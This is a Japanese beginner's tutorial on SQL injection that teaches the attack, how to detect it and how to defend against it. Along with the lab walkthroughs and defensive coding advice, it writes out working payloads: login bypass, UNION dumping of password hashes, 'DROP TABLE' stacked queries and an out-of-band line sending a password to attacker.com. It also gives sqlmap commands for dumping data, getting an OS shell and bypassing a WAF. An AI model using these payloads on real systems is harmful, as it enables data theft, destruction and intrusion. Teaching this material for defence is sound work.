セキュリティ PR

SQLインジェクション完全ガイド:仕組みから対策まで【初心者向け】

SQLインジェクションガイド
記事内に商品プロモーションを含む場合があります

SQLインジェクション」という言葉を聞いたことはありますか?Webアプリケーションの脆弱性として最も有名で、かつ最も危険な攻撃手法の一つです。

この記事では、SQLインジェクションの仕組みから検出方法、実践的な攻撃パターン、そして完璧な対策まで、初心者にもわかりやすく徹底解説します。

Contents
  1. SQLインジェクションとは?
  2. なぜSQLインジェクションは危険なのか?
  3. SQLインジェクションの仕組み
  4. 実際の攻撃例(ハンズオン)
  5. SQLインジェクションの種類
  6. 検出方法とツール
  7. 完璧な対策方法
  8. 実践演習環境
  9. よくある誤解と落とし穴
  10. まとめ

SQLインジェクションとは?

SQLインジェクション(SQL Injection) は、Webアプリケーションのデータベース問い合わせに不正なSQLコードを挿入(inject)することで、意図しない動作を引き起こす攻撃手法です。

基本的な概念

通常、Webアプリケーションはユーザーからの入力を受け取り、それをデータベースに問い合わせます:

ユーザー入力 → アプリケーション → SQL文生成 → データベース → 結果

しかし、入力値の検証が不十分だと、攻撃者は悪意のあるSQL文を注入できてしまいます:

悪意のある入力 → 不正なSQL文 → データベースが予期しない動作

OWASP Top 10での位置づけ

SQLインジェクションは、OWASP Top 10(Webアプリケーションの最も重大な脆弱性トップ10)で長年1位または上位にランクインしています。

  • OWASP Top 10 2021: A03:2021 – Injection(インジェクション)
  • 過去には単独で1位を獲得
  • 現在は複数のインジェクション攻撃と統合

つまり、Webセキュリティを学ぶ上で最優先で理解すべき脆弱性です。

なぜSQLインジェクションは危険なのか?

SQLインジェクションが成功すると、以下のような深刻な被害が発生します。

1. 🔓 機密情報の漏洩

データベース内の全データを盗み出すことが可能:

  • ユーザーの個人情報(氏名、住所、電話番号)
  • クレジットカード情報
  • パスワード(ハッシュ化されていても)
  • 社内の機密データ

実例: 2011年のSony PlayStation Networkハッキング事件では、7,700万人分の個人情報が流出しました。

2. 🗑️ データの改ざん・削除

データベースの内容を自由に変更できます:

  • ユーザー情報の書き換え
  • 注文情報の改ざん
  • データの完全削除(DROP TABLE

実例: 2008年のHeartlandペイメントシステムへの攻撃では、1億3千万件のクレジットカード情報が盗まれました。

3. 👑 管理者権限の奪取

データベースの管理者アカウントを乗っ取り、システム全体を掌握:

  • 新しい管理者アカウントの作成
  • バックドアの設置
  • システムコマンドの実行(OSコマンドインジェクション)

4. 🚫 サービス妨害(DoS)

データベースサーバーに過負荷をかけてサービスを停止:

  • 重い処理の実行
  • テーブルのロック
  • リソースの枯渇

5. 💰 金銭的被害

  • データ流出による損害賠償
  • システム復旧コスト
  • 信用失墜による売上減少
  • 法的罰金(GDPR等)

実例: Equifaxのデータ流出事件(2017年)では、最大7億ドルの和解金が支払われました。

SQLインジェクションの仕組み

実際のコード例で、SQLインジェクションがどのように機能するかを見ていきましょう。

脆弱なコードの例

以下は、典型的な脆弱なログインフォームのコードです(PHP):

<?php
// ユーザー入力を直接SQL文に埋め込む(危険!)
$username = $_POST['username'];
$password = $_POST['password'];

$query = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
$result = mysqli_query($conn, $query);

if (mysqli_num_rows($result) > 0) {
    echo "ログイン成功!";
} else {
    echo "ログイン失敗";
}
?>

正常な動作

通常のユーザーが以下を入力した場合:

  • ユーザー名john
  • パスワードsecret123

生成されるSQL文:

SELECT * FROM users WHERE username = 'john' AND password = 'secret123'

これは正常に動作します。

攻撃の実行

攻撃者が以下を入力した場合:

  • ユーザー名admin' --
  • パスワードanything

生成されるSQL文:

SELECT * FROM users WHERE username = 'admin' -- ' AND password = 'anything'

何が起きたか?

  1. ' でクォートを閉じる
  2. -- でSQLコメントを開始(それ以降は無視される)
  3. パスワードチェックが完全にスキップされる

結果:パスワードなしでadminとしてログインできる🚨

さらに危険な例:データ抽出

攻撃者が以下を入力:

  • ユーザー名' UNION SELECT username, password FROM users --
  • パスワードanything

生成されるSQL文:

SELECT * FROM users WHERE username = '' UNION SELECT username, password FROM users -- ' AND password = 'anything'

結果:全ユーザーのユーザー名とパスワードが取得される😱

実際の攻撃例(ハンズオン)

実際に手を動かして、SQLインジェクションの動作を理解しましょう。

前提:安全な練習環境を使う

⚠️ 重要:他人のシステムへの攻撃は犯罪です!

以下の合法的な練習環境を使用してください:

  • DVWA(Damn Vulnerable Web Application)
  • bWAPP
  • WebGoat
  • PortSwigger Web Security Academy
  • HackTheBox / TryHackMe

DVWAのインストール方法は、Kali Linux完全ガイドを参照してください。

ステップ1:脆弱性の確認

DVWAのSQL Injectionページにアクセスします。

通常の入力:

User ID: 1

レスポンス:

ID: 1
First name: admin
Surname: admin

ステップ2:シングルクォートテスト

入力:

User ID: 1'

エラーメッセージが表示される場合:

You have an error in your SQL syntax...

✅ これはSQLインジェクションが可能である証拠!

ステップ3:常に真となる条件

入力:

User ID: 1' OR '1'='1

生成されるSQL:

SELECT first_name, last_name FROM users WHERE user_id = '1' OR '1'='1'

結果:

ID: 1
First name: admin
Surname: admin

ID: 2
First name: Gordon
Surname: Brown

ID: 3
First name: Hack
Surname: Me

...(全ユーザーが表示される)

✅ 全データの抽出に成功!

ステップ4:UNION攻撃

入力:

User ID: 1' UNION SELECT user, password FROM users --

結果:

ID: admin
First name: 5f4dcc3b5aa765d61d8327deb882cf99
Surname: (MD5ハッシュ)

ID: gordonb
First name: e99a18c428cb38d5f260853678922e03
Surname: (MD5ハッシュ)

✅ パスワードハッシュの抽出に成功!

次に、John the RipperHashcatでこれらをクラックできます。

ステップ5:データベース情報の収集

MySQL/MariaDBの場合:

-- データベース名の取得
1' UNION SELECT null, database() --

-- テーブル一覧の取得
1' UNION SELECT null, table_name FROM information_schema.tables WHERE table_schema=database() --

-- カラム名の取得
1' UNION SELECT null, column_name FROM information_schema.columns WHERE table_name='users' --

SQLインジェクションの種類

SQLインジェクションには複数のタイプがあり、それぞれ異なる攻撃手法が必要です。

1. Classic SQL Injection(古典的SQLインジェクション)

最も基本的なタイプ。エラーメッセージや結果が画面に表示される。

特徴:

  • エラーメッセージから情報が得られる
  • 結果が直接表示される
  • 検出・攻撃が容易

例:

' OR 1=1 --
' UNION SELECT username, password FROM users --

2. Blind SQL Injection(ブラインドSQLインジェクション)

結果が画面に表示されない場合の攻撃手法。

2-1. Boolean-based Blind

真偽値(True/False)の違いで情報を抽出。

例:

-- データベース名の1文字目が'a'かチェック
' AND SUBSTRING(database(),1,1)='a' --

-- 結果が表示される → True
-- 結果が表示されない → False

2-2. Time-based Blind

時間遅延で情報を抽出。

例:

-- データベース名の1文字目が'a'なら5秒待機
' AND IF(SUBSTRING(database(),1,1)='a', SLEEP(5), 0) --

-- レスポンスが遅い → True
-- 即座にレスポンス → False

3. Error-based SQL Injection

エラーメッセージを利用して情報を抽出。

例(MySQL):

' AND extractvalue(1, concat(0x7e, (SELECT database()), 0x7e)) --

エラーメッセージ:

XPATH syntax error: '~mydatabase~'

4. Union-based SQL Injection

UNION句を使って別のSELECT文の結果を追加。

前提条件:

  • カラム数が一致している必要がある
  • データ型が互換性がある必要がある

カラム数の特定:

' ORDER BY 1 --  (エラーなし)
' ORDER BY 2 --  (エラーなし)
' ORDER BY 3 --  (エラー発生 → カラム数は2)

UNION攻撃:

' UNION SELECT username, password FROM users --

5. Stacked Queries(スタックドクエリ)

複数のSQL文を;で連結して実行。

例:

'; DROP TABLE users; --
'; UPDATE users SET password='hacked' WHERE username='admin'; --

注意: データベースや設定によって実行できない場合があります。

6. Second Order SQL Injection(二次SQLインジェクション)

一度保存されたデータが、後で別の処理で実行される際に発動。

シナリオ:

  1. ユーザー登録時に悪意のあるユーザー名を登録ユーザー名: admin'--
  2. このユーザー名がデータベースに保存される
  3. 別の処理(ユーザー情報更新など)でこのデータが使われる
  4. その時にSQLインジェクションが発動

7. Out-of-Band SQL Injection

DNS、HTTPリクエストなどの別チャネルでデータを外部送信。

例(MySQL):

' UNION SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM users WHERE id=1),'.attacker.com\\test.txt')) --

データが攻撃者のDNSサーバーに送信されます。

検出方法とツール

SQLインジェクションを検出するための手動テストと自動ツールを紹介します。

手動テスト

1. シングルクォートテスト

入力:

'
''
`

期待する反応:

  • エラーメッセージ
  • 異なるページレスポンス
  • 500エラー

2. 論理演算子テスト

入力:

' OR 1=1 --
' OR 1=2 --
' AND 1=1 --
' AND 1=2 --

期待する反応:

  • 結果の件数が変わる
  • 表示内容が変わる

3. タイムベーステスト

入力:

' OR SLEEP(5) --
'; WAITFOR DELAY '00:00:05' --  (SQL Server)
' || pg_sleep(5) --  (PostgreSQL)

期待する反応:

  • レスポンスが遅延する

4. UNIONテスト

入力:

' UNION SELECT NULL --
' UNION SELECT NULL, NULL --
' UNION SELECT NULL, NULL, NULL --

期待する反応:

  • エラーが消える(カラム数が一致)
  • 結果が表示される

自動ツール

🔧 sqlmap – 最強の自動SQLインジェクションツール

インストール(Kali Linuxには標準搭載):

sudo apt install sqlmap

基本的な使い方:

# URLに対してテスト
sqlmap -u "http://example.com/page.php?id=1"

# POSTリクエストのテスト
sqlmap -u "http://example.com/login.php" --data="username=test&password=test"

# データベース名の取得
sqlmap -u "http://example.com/page.php?id=1" --dbs

# テーブル一覧の取得
sqlmap -u "http://example.com/page.php?id=1" -D database_name --tables

# データのダンプ
sqlmap -u "http://example.com/page.php?id=1" -D database_name -T users --dump

# OSシェルの取得(権限がある場合)
sqlmap -u "http://example.com/page.php?id=1" --os-shell

高度なオプション:

# Cookieを使用
sqlmap -u "http://example.com/page.php?id=1" --cookie="PHPSESSID=abc123"

# User-Agentの偽装
sqlmap -u "http://example.com/page.php?id=1" --user-agent="Mozilla/5.0..."

# プロキシ経由(Burp Suiteと連携)
sqlmap -u "http://example.com/page.php?id=1" --proxy="http://127.0.0.1:8080"

# リスクレベルとテストレベルの変更
sqlmap -u "http://example.com/page.php?id=1" --level=5 --risk=3

# WAFバイパス
sqlmap -u "http://example.com/page.php?id=1" --tamper=space2comment

🔍 Burp Suite – プロキシベースの手動+自動テスト

Burp Suiteを使った検出方法:

  1. プロキシ設定してブラウザの通信を傍受
  2. Repeaterタブで手動テスト
  3. Scannerで自動スキャン(Proバージョン)
  4. Intruderでファジング

詳しい使い方:

🕷️ w3af – Webアプリケーション攻撃フレームワーク

# w3afの起動
w3af_console

# プラグインの設定
plugins
audit sql_injection
back

# ターゲットの設定
target
set target http://example.com/
back

# スキャン開始
start

詳しい使い方:

🌐 OWASP ZAP – オープンソースWebアプリスキャナー

# ZAPの起動
zaproxy

手順:

  1. ターゲットURLを入力
  2. Spider(クローリング)を実行
  3. Active Scanを実行
  4. Alertsタブで脆弱性を確認

🔎 Wapiti – 軽量Webスキャナー

# 基本スキャン
wapiti -u http://example.com

# SQLインジェクションのみテスト
wapiti -u http://example.com -m sql

詳しい使い方:

🛡️ Nikto – Webサーバースキャナー

nikto -h http://example.com

詳しい使い方:

ツール比較表

ツール自動/手動GUI得意分野おすすめ度
sqlmap自動SQLインジェクション特化⭐⭐⭐⭐⭐
Burp Suite手動+自動総合Web診断⭐⭐⭐⭐⭐
w3af自動総合Web診断⭐⭐⭐⭐
OWASP ZAP自動初心者向け総合診断⭐⭐⭐⭐
Wapiti自動軽量スキャン⭐⭐⭐
Nikto自動Webサーバー診断⭐⭐⭐

完璧な対策方法

SQLインジェクションを完全に防ぐための対策を紹介します。

🥇 最優先:プリペアードステートメント(パラメータ化クエリ)

最も効果的で確実な対策方法です。

PHPの場合(PDO)

❌ 脆弱なコード:

$query = "SELECT * FROM users WHERE username = '$username'";

✅ 安全なコード:

$stmt = $pdo->prepare("SELECT * FROM users WHERE username = :username");
$stmt->bindParam(':username', $username);
$stmt->execute();

PHPの場合(MySQLi)

✅ 安全なコード:

$stmt = $mysqli->prepare("SELECT * FROM users WHERE username = ?");
$stmt->bind_param("s", $username);
$stmt->execute();

Pythonの場合

✅ 安全なコード:

cursor.execute("SELECT * FROM users WHERE username = %s", (username,))

Javaの場合

✅ 安全なコード:

PreparedStatement stmt = conn.prepareStatement("SELECT * FROM users WHERE username = ?");
stmt.setString(1, username);
ResultSet rs = stmt.executeQuery();

Node.js(MySQL)の場合

✅ 安全なコード:

connection.query('SELECT * FROM users WHERE username = ?', [username], (error, results) => {
    // 処理
});

🛡️ 入力値の検証(バリデーション)

プリペアードステートメントと併用してください。

ホワイトリスト方式

✅ 許可する文字のみを受け付ける:

// 数値のみ許可
if (!is_numeric($user_id)) {
    die("Invalid input");
}

// 英数字のみ許可
if (!preg_match('/^[a-zA-Z0-9]+$/', $username)) {
    die("Invalid username");
}

型の強制

// 整数型にキャスト
$user_id = (int)$_GET['id'];

長さ制限

// 最大長を制限
if (strlen($username) > 50) {
    die("Username too long");
}

🔒 エスケープ処理(非推奨・最終手段)

⚠️ 注意:プリペアードステートメントが使えない場合のみ

MySQLの場合

$username = mysqli_real_escape_string($conn, $_POST['username']);
$query = "SELECT * FROM users WHERE username = '$username'";

問題点:

  • エスケープ漏れのリスク
  • 文字エンコーディングの問題
  • データベースごとに異なる実装

結論:できる限りプリペアードステートメントを使用してください。

🚫 最小権限の原則

データベースユーザーに必要最低限の権限のみを付与。

-- アプリケーション用ユーザーの作成
CREATE USER 'webapp'@'localhost' IDENTIFIED BY 'strong_password';

-- 必要なテーブルにのみSELECT, INSERT, UPDATE権限を付与
GRANT SELECT, INSERT, UPDATE ON mydb.users TO 'webapp'@'localhost';
GRANT SELECT ON mydb.products TO 'webapp'@'localhost';

-- DROP, DELETE, GRANT等の危険な権限は付与しない

メリット:

  • 攻撃が成功しても被害を最小化
  • DROP TABLEなどの破壊的操作を防止

🔍 エラーメッセージの制御

❌ 本番環境でエラー詳細を表示しない:

// 開発環境
ini_set('display_errors', 1);
error_reporting(E_ALL);

// 本番環境
ini_set('display_errors', 0);
error_reporting(0);

✅ カスタムエラーページを表示:

try {
    // データベース処理
} catch (Exception $e) {
    // ログに記録
    error_log($e->getMessage());
    
    // ユーザーには一般的なメッセージのみ
    die("エラーが発生しました。管理者にお問い合わせください。");
}

🧱 WAF(Webアプリケーションファイアウォール)

追加の防御層として導入。

クラウドWAF

  • Cloudflare
  • AWS WAF
  • Azure WAF

オープンソースWAF

  • ModSecurity
  • NAXSI(Nginx用)

設定例(ModSecurity):

SecRule ARGS "@detectSQLi" "id:1000,phase:2,deny,status:403,msg:'SQL Injection Detected'"

注意:WAFは完全な対策ではありません。基本的な対策(プリペアードステートメント)が最優先です。

📝 ストアドプロシージャの活用

メリット:

  • SQL文がアプリケーションから分離
  • 権限管理が容易

例:

-- ストアドプロシージャの作成
DELIMITER //
CREATE PROCEDURE GetUserByUsername(IN p_username VARCHAR(50))
BEGIN
    SELECT * FROM users WHERE username = p_username;
END //
DELIMITER ;

-- 実行
CALL GetUserByUsername('john');

注意:ストアドプロシージャ内でも動的SQLを使うと脆弱になります。

🔄 ORMの活用

ORM(Object-Relational Mapping) を使用すると、自動的にプリペアードステートメントが使われます。

Laravel(PHP)

// 安全
$users = DB::table('users')->where('username', $username)->get();

Django(Python)

# 安全
users = User.objects.filter(username=username)

Sequelize(Node.js)

// 安全
const users = await User.findAll({ where: { username: username } });

注意:ORMでも生のSQL(raw query)を使うと脆弱になる可能性があります。

対策チェックリスト

開発時に以下をチェックしてください:

  • [ ] すべてのSQL文でプリペアードステートメントを使用
  • [ ] ユーザー入力のバリデーション実装
  • [ ] データベースユーザーの権限を最小化
  • [ ] エラーメッセージの詳細を非表示
  • [ ] WAFの導入(可能であれば)
  • [ ] 定期的なセキュリティスキャン
  • [ ] コードレビューの実施
  • [ ] セキュリティテストの自動化

実践演習環境

安全に学べる練習環境を紹介します。

1. DVWA(Damn Vulnerable Web Application)

最も人気のある脆弱な練習アプリ

インストール(Kali Linux)

# Apacheとデータベースの起動
sudo systemctl start apache2
sudo systemctl start mysql

# DVWAのダウンロード
cd /var/www/html
sudo git clone https://github.com/digininja/DVWA.git
sudo chmod -R 777 DVWA

# ブラウザでアクセス
http://localhost/DVWA/setup.php

練習内容

  1. Low難易度:基本的なSQLインジェクション
  2. Medium難易度:簡単なフィルタリング回避
  3. High難易度:セッション分離攻撃
  4. Impossible難易度:完璧な対策の学習

Kali Linuxのセットアップ:

2. bWAPP

100以上の脆弱性を含む練習アプリ

# ダウンロード
wget https://sourceforge.net/projects/bwapp/files/bWAPP_latest.zip
unzip bWAPP_latest.zip -d /var/www/html/

# アクセス
http://localhost/bWAPP/install.php

3. WebGoat

OWASPが提供する学習プラットフォーム

# Dockerで実行
docker run -p 8080:8080 -p 9090:9090 -e TZ=Asia/Tokyo webgoat/goatandwolf

# アクセス
http://localhost:8080/WebGoat

4. PortSwigger Web Security Academy

Burp Suiteの開発元が提供する無料学習サイト

URL: https://portswigger.net/web-security

特徴:

  • ブラウザで完結(インストール不要)
  • 段階的なチュートリアル
  • 実践的なラボ環境
  • 解説が非常に詳しい

SQLインジェクションのラボ一覧:

  • SQL injection vulnerability in WHERE clause
  • SQL injection UNION attack
  • Blind SQL injection with conditional responses
  • Blind SQL injection with time delays 等

5. HackTheBox / TryHackMe

オンラインCTFプラットフォーム

おすすめマシン:

  • TryHackMe: SQL Injection Lab
  • HackTheBox: Popcorn, Lame

6. SQLi Labs

SQLインジェクション専門の練習環境

git clone https://github.com/Audi-1/sqli-labs.git
cd sqli-labs
# Dockerまたはローカル環境で実行

特徴:

  • 75以上のレッスン
  • 段階的な難易度
  • 様々なタイプのSQLインジェクション

よくある誤解と落とし穴

誤解1:「エスケープすれば安全」

❌ 間違い:

$username = addslashes($_POST['username']);
$query = "SELECT * FROM users WHERE username = '$username'";

問題点:

  • マルチバイト文字で回避される可能性
  • エスケープ漏れのリスク
  • データベースごとに異なる仕様

✅ 正解:プリペアードステートメントを使う

誤解2:「数値なら安全」

❌ 間違い:

$id = $_GET['id'];  // "1 OR 1=1" が入る可能性
$query = "SELECT * FROM users WHERE id = $id";

✅ 正解:

$id = (int)$_GET['id'];  // 型変換
// さらにプリペアードステートメントを使う

誤解3:「POSTリクエストなら安全」

❌ 間違い: POSTだからといってSQLインジェクションが防げるわけではありません。

真実:

  • GETもPOSTも同様に脆弱
  • Cookieやヘッダーも攻撃対象
  • 必ずプリペアードステートメントを使用

誤解4:「WAFがあれば安全」

❌ 間違い: WAFは補助的な防御であり、完璧ではありません。

真実:

  • WAFバイパス手法が多数存在
  • 基本的な対策(プリペアードステートメント)が最優先
  • WAFは追加の防御層として有効

誤解5:「ORMを使えば完全に安全」

❌ 間違い:

# Djangoでも危険な書き方
User.objects.raw("SELECT * FROM users WHERE username = '%s'" % username)

✅ 正解:

User.objects.filter(username=username)

落とし穴1:SECONDオーダーインジェクション

通常のテストでは検出されない二次的な攻撃に注意。

シナリオ:

  1. ユーザー登録時は安全に保存
  2. プロフィール編集時に脆弱なコードがある
  3. 登録時に仕込んだペイロードが編集時に発動

落とし穴2:JSONインジェクション

NoSQLデータベースやJSON APIでも同様の攻撃が可能。

例(MongoDB):

// 脆弱なコード
db.users.find({ username: req.body.username });

// 攻撃
{"username": {"$ne": null}}  // 全ユーザーを取得

落とし穴3:ブラインドSQLインジェクションの見落とし

エラーメッセージが表示されなくても脆弱性が存在する可能性。

検出方法:

  • Time-basedテスト
  • Boolean-basedテスト
  • Out-of-bandテスト

まとめ

SQLインジェクションは、Webアプリケーションで最も危険な脆弱性の一つです。

重要ポイントの復習

  1. SQLインジェクションとは
    • ユーザー入力を通じて不正なSQL文を実行させる攻撃
    • OWASP Top 10の上位に常にランクイン
  2. 危険性
    • データベース全体の情報漏洩
    • データの改ざん・削除
    • システム乗っ取りの可能性
  3. 攻撃の種類
    • Classic、Blind、Error-based、Union-based等
    • それぞれ異なる検出・攻撃手法
  4. 検出方法
    • 手動テスト(シングルクォート、論理演算子等)
    • 自動ツール(sqlmap、Burp Suite、w3af等)
  5. 完璧な対策
    • プリペアードステートメント(最優先!)
    • 入力値のバリデーション
    • 最小権限の原則
    • エラーメッセージの制御
    • WAFの導入(補助的)
  6. 学習方法
    • 安全な練習環境(DVWA、bWAPP、WebGoat)
    • オンラインプラットフォーム(PortSwigger、HackTheBox)
    • 段階的なスキルアップ

次のステップ

SQLインジェクションを習得したら、次は以下のトピックに進みましょう:

  1. XSS(クロスサイトスクリプティング)
    • OWASP Top 10のもう一つの重要な脆弱性
  2. CSRF(クロスサイトリクエストフォージェリ)
    • セッション管理の脆弱性
  3. 認証・認可の脆弱性
    • パスワードクラック、セッションハイジャック
  4. ファイルアップロード攻撃
    • リモートコード実行
  5. XXE(XML外部エンティティ攻撃)
    • XMLパーサーの脆弱性

最後に

SQLインジェクションは古典的な攻撃手法ですが、今でも多くのWebサイトで発見されています。

開発者として:

  • プリペアードステートメントを必ず使用
  • コードレビューでセキュリティチェック
  • 定期的な脆弱性診断

セキュリティ研究者として:

  • 合法的な環境でのみテスト
  • 発見した脆弱性の責任ある報告
  • 継続的な学習

この記事で学んだ知識を、システムを守るために活用してください!


⚠️ 免責事項:この記事の内容は教育目的で提供されています。他者のシステムへの無断攻撃は犯罪です。必ず許可を得た環境でのみテストを行ってください。

🔒 倫理的ハッキングの原則を守りましょう!

KALI LINUX 完全ガイド
Kali Linux完全ガイド:インストールから基本操作まで【初心者向け使い方】Kali Linux完全ガイド!初心者向けにVirtualBoxでのインストール手順、Nmap・Burp Suite等600以上のセキュリティツールの使い方、ペネトレーションテスト学習ロードマップを徹底解説。CompTIA資格対策にも最適。...
デイトラでWeb制作を学ぶ ※本リンクはアフィリエイトを含みます。